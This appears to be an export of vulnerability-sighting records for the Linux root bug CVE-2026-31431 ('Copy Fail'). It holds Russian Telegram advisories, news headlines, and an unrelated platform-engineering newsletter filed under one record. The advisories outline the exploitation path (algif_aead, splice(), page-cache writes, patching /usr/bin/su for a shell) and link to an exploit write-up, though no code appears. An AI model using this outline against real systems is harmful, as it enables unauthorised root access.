\u0434\u043e\u0441\u0442\u0443\u043f\u0430. \n\n\ud83d\udea8 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e?\n\u2014 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\u2014 \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 Ubuntu, RHEL, Amazon Linux \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\u2014 \u041d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 (race conditions) \u2014 \u0431\u0430\u0433 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 100%.\n\u2014 \u041c\u043e\u0436\u043d\u043e \"\u043d\u0430 \u043b\u0435\u0442\u0443\" \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 (7.0, 6.19.12, 6.18.22) \u0438\u043b\u0438 \u0436\u0434\u0430\u0442\u044c \u0431\u044d\u043a\u043f\u043e\u0440\u0442\u043e\u0432 \u043e\u0442 \u0432\u0430\u0448\u0435\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0425\u043e\u0447\u0435\u0448\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u0442\u0430\u043a\u0438\u0445 \u0434\u044b\u0440\u0430\u0445 \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u2014 \u0442\u0430\u043c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0438 0-day \u043e\u0442\u0447\u0435\u0442\u044b \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445! \ud83d\ude80\n\n#Linux #CVE #Root #LPE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-19T16:00:08.602288Z"}, {"uuid": "b22402d6-69e7-4910-b544-57f49be06a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/critical_bug/1777", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-19T16:00:08.631497Z"}, {"uuid": "87980fd6-c034-4ad4-ad65-accdbf744615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1777", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.907948Z"}, {"uuid": "d22048a9-9cd8-40be-8774-3dfc3df0a0e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1776", "content": "\ud83d\udd25 CVE-2026-31431: \"Copy Fail\" \u2014 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 Root \u0432 Linux \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \ud83d\ude31\n\n\u041f\u043e\u043a\u0430 \u0432\u0441\u0435 \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0438 AI, \u0432 \u0441\u0430\u043c\u043e\u043c \u0441\u0435\u0440\u0434\u0446\u0435 Linux \u043d\u0430\u0448\u043b\u0438 \u0431\u0430\u0433, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0438\u043b \u0442\u0430\u043c \u0441 2017 \u0433\u043e\u0434\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \"Copy Fail\", \u0438 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0430\u0442\u044c root-\u043e\u043c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435.\n\n\ud83d\udca5 \u0412 \u0447\u0435\u043c \u043f\u0440\u0438\u043a\u043e\u043b?\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 \u044f\u0434\u0440\u0430 (algif_aead). \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0432\u043e\u0439 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 9-\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u044f\u0445 \u0441 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c splice(), \u044f\u0434\u0440\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u044f \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \n\n\ud83d\udea8 \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e?\n\u2014 \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\u2014 \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 Ubuntu, RHEL, Amazon Linux \u0438 \u0434\u0440\u0443\u0433\u0438\u0445.\n\u2014 \u041d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439 (race conditions) \u2014 \u0431\u0430\u0433 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 100%.\n\u2014 \u041c\u043e\u0436\u043d\u043e \"\u043d\u0430 \u043b\u0435\u0442\u0443\" \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b.\n\n\ud83d\udee1 \u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u0421\u0440\u043e\u0447\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u043f\u0430\u0442\u0447\u0435\u0439 (7.0, 6.19.12, 6.18.22) \u0438\u043b\u0438 \u0436\u0434\u0430\u0442\u044c \u0431\u044d\u043a\u043f\u043e\u0440\u0442\u043e\u0432 \u043e\u0442 \u0432\u0430\u0448\u0435\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430.\n\n\ud83d\udcc4 \u041f\u043e\u043b\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0441 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u0432 PDF \u043d\u0438\u0436\u0435 \ud83d\udc47\n\n\ud83d\udc8e \u0425\u043e\u0447\u0435\u0448\u044c \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u0442\u0430\u043a\u0438\u0445 \u0434\u044b\u0440\u0430\u0445 \u043f\u0435\u0440\u0432\u044b\u043c? \u041f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0441\u044f \u043d\u0430 \u043d\u0430\u0448\u0443 VIP-\u0432\u0435\u0440\u0441\u0438\u044e \u2014 \u0442\u0430\u043c \u044d\u043a\u0441\u043a\u043b\u044e\u0437\u0438\u0432\u043d\u044b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u0438 0-day \u043e\u0442\u0447\u0435\u0442\u044b \u0440\u0430\u043d\u044c\u0448\u0435 \u0432\u0441\u0435\u0445! \ud83d\ude80\n\n#Linux #CVE #Root #LPE #CyberSecurity #Infosec #critical_bug", "creation_timestamp": "2026-07-20T00:00:08.939945Z"}, {"uuid": "2fc2bd5d-bc3f-406d-a204-7ea85b97b03b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1774", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.968490Z"}, {"uuid": "d93b0a5c-e8c5-4a26-861d-5243d24448a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/critical_bug/1773", "content": "\ud83d\udcc4 \u041f\u043e\u043b\u043d\u043e\u0435 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 CVE-2026-31431 (Copy Fail)", "creation_timestamp": "2026-07-20T00:00:08.998203Z"}, {"uuid": "3a0a0a24-86e1-48eb-83ee-4298293a24e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/MalaysiaHacktivistz/21278", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-07-20T00:00:22.173298Z"}, {"uuid": "5844d668-c89e-4b46-b480-20910630e231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/sanspie_notes/415", "content": "CVE-2026-31431\n\n\u041a\u0440\u0430\u0441\u0438\u0432\u0430\u044f \u0438 \u043f\u0440\u043e\u0441\u0442\u0430\u044f LPE \u043f\u043e\u0434 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 Linux-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432.\n\n\u0420\u0435\u043f\u043e\u0440\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442: https://xint.io/blog/copy-fail-linux-distributions\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0435 4 \u0431\u0430\u0439\u0442\u0430 \u0432 cache page \u043b\u044e\u0431\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 /usr/bin/su, \u0447\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u0435\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443.\n\n\u0424\u0438\u043a\u0441: \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u044f\u0434\u0440\u043e / \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0445\u043e\u0442\u0444\u0438\u043a\u0441. \u0412\u0441\u0451 \u0435\u0441\u0442\u044c \u0432 \u0441\u0442\u0430\u0442\u044c\u0435.\n\n\u0425\u043e\u0440\u043e\u0448\u0435\u0433\u043e \u043d\u0430\u0447\u0430\u043b\u0430 \u0434\u043d\u044f)\n@disasm_me_ch", "creation_timestamp": "2026-07-20T00:00:26.719100Z"}, {"uuid": "d70b4fb9-5dbf-418a-9d45-88811c64cb22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/deafnews-auto.bsky.social/post/3mr6wdtmxgh2p", "content": "CVE-2026-31431 \"Copy Fail\": 732 Bytes of Code Breaks the Linux Kernel Since 2017", "creation_timestamp": "2026-07-21T23:06:46.347898Z"}, {"uuid": "86cab9f0-666b-4d01-a277-65f691c782bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://gist.github.com/christophcrichter/1014e3babd763e3d98ee85ac24bfd767", "content": "\n\n  Platform Weekly\n  https://platformweekly.com\n  Platform engineering news, best practices, and community highlights.\n  \n  Officially accepted as a CNCF sandbox project!?\n  https://platformweekly.com/issues/officially-accepted-as-a-cncf-sandbox-project\n  https://platformweekly.com/issues/officially-accepted-as-a-cncf-sandbox-project\n  \n  \nHey there! Welcome to Platform Weekly, your weekly sip of platform engineering juice. This week we\u2019re jumping into one of my favorite topics around - Score\ud83e\udd50\ud83e\uddc3\nScore officially accepted as a CNCF sandbox project!?\nAfter almost 2 years of work, the open-source workload specification Score has been accepted as a CNCF sandbox project! I couldn\u2019t be more proud.\nIf you\u2019re new to the community, I was a HUGE fan of Score when it launched at the end of 2022, and this community helped blast it off to over 5,000 stars in no time. Back then the promises were pretty exciting, but it was just starting its journey. Well\u2026 it\u2019s just kept growing from there.\nDesigned to simplify development for developers in the cloud-native era, the specification lets you simply describe your workload's configuration in a platform-neutral way, removing the need for tooling-specific syntax from platforms such as Docker Compose or Kubernetes. \nSo when you need to define a workload configuration, it becomes as easy as \u201cI want a database of type X and an event queue of type Y to accompany my workload\u201d.\nNo fiddling around in unstructured YAML. No extra bs.\nThis kind of abstraction is exactly what platform engineering is all about.\nAnd the community agrees. Since that first launch almost 2 years ago, Score has just kept getting bigger. They\u2019ve just rolled out two new reference implementations for Docker Compose and Kubernetes. And I\u2019ve heard there is so much more in the pipeline.\nI can\u2019t wait to see where we go from here. This is just the beginning.\nP.S. Haven\u2019t saved your spot in the community's platform engineering fundamentals course? We\u2019ve got some awesome stuff in store\nQuick bites\nArticle of the week:\n\n\nSilos Are Fantastic. Just Ask Kelsey Hightower\nFrom the community:\nWhy Backstage is not your platform - this is a must-see webinar!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Become a Platform Engineering Ambassador\n  https://platformweekly.com/issues/become-a-platform-engineering-ambassador\n  https://platformweekly.com/issues/become-a-platform-engineering-ambassador\n  \n  \nDid you know that the community has a Platform Engineering Ambassador program? Just over 100+ platform engineering practitioners and leaders have been learning from each other, connecting with each other, and sharing their ideas and knowledge with over 300,000 people across our audience.\nA perfect example of that is across our webinars and articles. In 2025, articles and webinars from ambassadors were viewed almost 80,000 times. With thousands of discussions starting across the community.\nIf you\u2019re a long time reader of Platform Weekly, you know that 2026 is a huge year for platform engineering. As AI massively accelerates platform engineering adoption within the enterprise, and mature platform teams are growing to absorb new domains like data, security, observability and more, platform engineering is a fundamental discipline this year.\nAt the same time\u2026 the data is in. The maturity of platform engineering as an industry has continued to improve piece by piece. While across the community, there are more questions than ever on the different architectures of a platform (especially as we get more specialized). In justPlatforms for the frontend vs platforms for the backend, platforms for AI/ML workloads, or specialised platforms for observability and security.\nThese are huge frontiers. And to help master them - we need experts! That is where our Ambassadors come in.\nThe program is not just where we can put your content in front of potentially 10s of thousands of people, but where we have the opportunity to learn and challenge each other.\nApply now - we\u2019d love to talk to you!]]>\n  \n  Mon, 26 Jan 2026 00:00:00 GMT\n\n\n  Zero to Platform (Engineer)\n  https://platformweekly.com/issues/zero-to-platform-engineer\n  https://platformweekly.com/issues/zero-to-platform-engineer\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly chop of platform engineering wood. Every week, we take a look at a new area of the platform engineering community and industry. Jumping into best practices, lessons learned, failures, and news.\nBTW - The State of Platform Engineering Vol 3 has just launched. It\u2019s got data on salaries, AI usage, measurement, platform maturity, and more. Take a look!\nZero to Platform (Engineer)\nWe have just launched part 2 of the Platform Engineering Certification track - Platform Engineering: MVP to IDP. You can now easily go from the Fundamentals to certified Platform Engineer in one bundle.\nIt covers the full journey from designing and developing your Minimum Viable Platform to demoing your Internal Developer Platform to stakeholders. I\u2019m convinced it will be the most valuable contribution to platform engineering I\u2019ve ever got the chance to make.\nLet me explain why.\nExcluding a few massive outliers spending tens of millions (or spending zero), the majority of platform teams I\u2019ve worked with in 2024 cost around $2.5 to $5 million a year. On the low end, that\u2019s $208,000 a month.\nOf those teams, more than 40% didn\u2019t measure anything. Most struggled with buy-in from security. And many were either desperately trying to convince their execs for funding or vice versa - had received funding and had no idea what to do with it.\nNot to mention all those who were furthest along and yet had nothing more to show of their platform engineering than a half-baked Backstage implementation. \nWhy does this matter? Because every one of those things means months of wasted time. And every month can cost $208,000.\nThat month it took security to sign off because they didn\u2019t understand what you were trying to convince them of? $208k\nThose 3 months you spent implementing Backstage to only have v1 of a service catalog and minimal real impact on your platform engineering goals? $624k\nYour platform initiative getting shut down after 18 months because you didn\u2019t measure and can\u2019t prove value?\n\u200d\n\u200d\nThe course certainly isn\u2019t a magic bullet. It can\u2019t stop your boss from mandating you implement Backstage for a quick platform engineering win. And it can\u2019t stop your execs from changing their minds 6 months from now.\nBut it can make sure you know exactly what you need to do. It can take the experience the community has had working on and looking at 100s of platforms over the last 4 years and give you, whether you\u2019re a Junior Platform Engineer or a newly made Head of Platform Engineering, everything you need to dodge the mistakes everyone else is making.\nIf it can shave off even just 1 month of wasted time (and I think it can do more) for each team who takes it, then it might just be the most valuable thing the community has ever done.Let\u2019s do this!\nP.S. want to nail down the Fundamentals of Platform Engineering first? You can get everything as a bundle together.\n]]>\n  \n  Mon, 04 Aug 2025 00:00:00 GMT\n\n\n  3 IaC challenges and how to tackle them\n  https://platformweekly.com/issues/3-iac-challenges-and-how-to-tackle-them\n  https://platformweekly.com/issues/3-iac-challenges-and-how-to-tackle-them\n  \n  \nAfter kicking off our OSS Spotlight, the score-spec hit 1000 stars on GitHub. In two weeks!\nIt\u2019s great to see the platform community rally around exciting new tools like Score.\nWant to feature your OSS project in Platform Weekly? Shoot me an email with more details, and we\u2019ll make it happen.\nLet\u2019s get bakin\u2019 \ud83e\udd50\n3 IaC challenges and how to tackle them\nInfrastructure as Code (IaC) can be a \ud83d\udc15. Here are some common challenges and how to overcome them, courtesy of this article by Dewan Ahmed:\n1\ufe0f\u20e3 Resistance to learning: If it ain\u2019t broke, don\u2019t fix it\u2026 right? Well, not quite. You don\u2019t want to wait until your production database is down to implement better tooling.\n2\ufe0f\u20e3 Security issues: Bridgecrew\u2019s State of Open Source Terraform Security Report found that nearly 1 in 2 public Terraform modules were misconfigured. This can lead to major security issues. Remember that public modules in Terraform are a lot like code you find on the internet. So if you don\u2019t run code directly from stack overflow, you need to check configuration and security for public Terraform modules too.\n3\ufe0f\u20e3 Configuration drift and duplication of work: Sometimes, when engineers make manual changes or use custom scripts, you wind up with config drift and duplication of work. In the transitional period to IaC, this is completely normal. Just make sure that the same system isn\u2019t handled by both an IaC tool and manual/scripts at the same time.\n4\ufe0f\u20e3 Handling relational databases. Almost every cloud provider requires some downtime when their managed databases undergo a major version upgrade. There are some things you can do to minimize downtime, but eliminating it entirely isn\u2019t possible. But some IaC tools might allow you to prevent a sudden version upgrade. For major configuration changes, you\u2019ll likely experience some downtime. It\u2019s ideal to perform these changes during a maintenance cycle and inform users in advance.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 The more microservices evolve, the greater the SRE role is for the engineering teams' success. This is a great example of how to build a resilient SRE process.\n\ud83e\udd50 Cloudify's Nati Shalom does a great job of breaking down the heated debate over the state of DevOps in this article.\n\ud83e\udd50 WTF is Platform as a Product? Paula Kennedy wraps it up \ud83c\udf81 for you \ud83d\udc47\n\ud83e\udd50 Podcast time. \ud83c\udf99\ufe0f MongoDB's Andrew Davidson talks about MongoDB's evolution from a software company to a cloud services company (MongoDB Atlas), how developers traditionally interacted with databases, and the need for Developer Data Platforms going forward. Tune in here \ud83d\udc48\n\ud83e\udd50 What do all of these new job titles even mean? This Reddit post might resonate with those of y'all confused about DevOps versus Platform Engineering titles.\n\ud83e\udd50 I bet all the coffee \u2615 addicts can relate\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nAn interesting issue came up while building a platform, how did the community solved it?\n\nThe Platform Engineering community met in Tel Aviv, thank you to our partner Ella @ Firefly!\n\nWe discussed about possible service to use for outage and monitor reporting...\n\nHow do you create a solid charter for a new platform engineering team?\nOn our r/platformengineers:\n\n\nDevelopers, I want to hear from you: have you handled Terraform at scale?\n\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  First Platform Engineering course launched\n  https://platformweekly.com/issues/first-platform-engineering-course-launched\n  https://platformweekly.com/issues/first-platform-engineering-course-launched\n  \n  \nHey there! This is Platform Weekly, your weekly dive into all things platform engineering. We have got a freakin awesome one this week. \nThe first official platform engineering course has just launched\nI am excited to share that the first step in the path to being officially certified as a platform engineer has just launched. This is something I have been working on for months now. \ud83c\udf89\nThe certification path takes place over 2 courses, and a final exam. The courses are 8-10 weeks, and will each be led by me, with some awesome help from some of the top platform architects in the industry.\nThe certification path works to make sure that anyone completing the final exam and earning their certificate can clearly demonstrate an extremely high level of understanding and knowledge of platform engineering - from the theoretical, to the hands-on and practical.\nEach course has limited spaces to maximize interactivity, Q&A, collaboration and create the best environment for hands-on work. This is not the kind of course where you just get a video link.\nThe first course, Platform Engineering Fundamentals, is live right now - so if you want to get a job as a platform engineer, convince your boss to just start platform engineering, or just make sure you\u2019re a master of the fundamentals\u2026\nLet\u2019s get platform engineering!\nQuick bites\nArticles of the week:\n\n\nHow to become a platform engineer (If you haven\u2019t read my article on this yet. Now is a great time!)\nFrom the community:\n\n\nWhat is your favorite platform engineering reference architecture? Join the conversation in Slack!]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Fundamentals course new guest lecturers confirmed\n  https://platformweekly.com/issues/fundamentals-course-new-guest-lecturers-confirmed\n  https://platformweekly.com/issues/fundamentals-course-new-guest-lecturers-confirmed\n  \n  \nHey there! Welcome to Platform Weekly, your weekly peek behind the platform engineering curtain\nPlatform Engineering Guest Lecturers confirmed\nWe\u2019re getting closer to the first-ever official platform engineering fundamentals course and it just keeps getting better!\nSuper excited to share that Manual Pais, co-author of Team Topologies (one of the foundational texts of platform engineering) will be joining us as a guest lecturer to share his knowledge and tips for the cultural side of platform engineering (the biggest challenge that holds teams back from succeeding)\nHe\u2019s been consulting companies for years on platform engineering, and his own courses at Team Topologies Academy, give an amazing overview (We\u2019ve got a 15% discount code to share with you\ud83d\udd25)\nIt is crucial to understand that platform engineering is not just a technical shift. It\u2019s not just about what tools, or services you are running. It\u2019s about cultural changes as well, and there is no better person than Manuel to give actionable advice on how to succeed.\nHaven\u2019t registered to join us yet? Spots are running out soon.\nCome master platform engineering with us!\nQuick bites\nArticle of the week:\n\n\n7 take-aways from PlatformCon 2024\n\u200dFrom the community:\n\n\nWant to discuss the course with other platform engineering fans? Come join the Slack!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  Platform engineering measurement\n  https://platformweekly.com/issues/platform-engineering-measurement\n  https://platformweekly.com/issues/platform-engineering-measurement\n  \n  \nI like to start every new group of the Platform Engineering Fundamentals course by having everyone fill in a Platform Engineering Maturity model template based on their current setup/initiative.\nIt\u2019s a great way to get a sense of where everyone is, but also - make a pretty powerful and fundamental point to everyone right at the get-go.\nHere are 6 randomly grabbed maturity models from the last 3 classes. Can you spot what this newsletter is going to be about?\nI could share 10, or even 100 more of these course maturity models and the story would all be the same. There is a wide variety across each area EXCEPT measurement.\nIt\u2019s not just the course participants either. As I\u2019ve shared before, data from the State of Platform Engineering volume 3 highlights that 45% of respondents: DO NOT MEASURE.\nSo why is measuring so difficult? Since platform engineering tends to touch almost the entire organization, its benefits are often fairly wide in scope and can be several steps removed from broader business outcomes, making it hard to draw clear correlations. Not to mention the fact that the platform team touches everyone - so how can you prove your platform works when it touches 10 different places and does 100 different things?\nWell, therein lies the recurring big mistake. It\u2019s the same one that gets repeated again and again in the course, and this newsletter and it\u2019s probably the mistake you\u2019re making in the platform you're building right now.\nYour platform is too big. Too unfocused, and covers too many areas. And it has too unclear a scope.\nWhen you build your platform, you need to identify a clear and specific goal that you are trying to solve. (you likely have many, but trust me - you want to start smaller).\nIf you\u2019re trying to solve DevEx problems, security problems, and compliance problems all in one fell swoop, it\u2019s going to be impossible to properly set your platform moving in the right direction, and understand how you should be measuring it.\nSo\u2026 let\u2019s take a look at an example Minimum Viable Platform process and how it can highlight how good platform 